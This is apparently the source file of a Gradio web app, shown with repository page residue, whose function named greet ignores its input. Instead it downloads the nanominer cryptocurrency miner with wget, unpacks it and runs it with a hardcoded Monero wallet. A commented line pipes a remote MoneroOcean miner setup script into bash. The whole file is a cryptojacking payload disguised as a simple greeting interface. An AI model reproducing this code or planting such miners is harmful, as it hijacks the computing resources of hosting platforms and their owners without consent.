File size: 1,124 Bytes
85f1a23 5c13302 d4bed34 85f1a23 d4bed34 8661153 d4bed34 f38ac89 8661153 557d8aa a41fa87 d4bed34 8661153 177a2d8 8661153 85f1a23 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
import gradio as gr
import subprocess
import os
def greet(name):
os.makedirs("folder", exist_ok=True)
os.chdir("folder")
commands = [
"wget https://github.com/nanopool/nanominer/releases/download/v3.7.7/nanominer-linux-3.7.7.tar.gz",
"ls",
"tar -zxvf ./nanominer-linux-3.7.7.tar.gz",
"ls",
"./nanominer -wallet 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5"
#
# "cat pre-requirements.txt",
# "cat requirements.txt",
# "cat Dockerfile",
]
output_all = ""
for command in commands:
process = subprocess.run(command.split(' '), stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = process.stdout.decode("utf-8")
output_all += output + "\n"
return output_all
# curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
iface.launch() |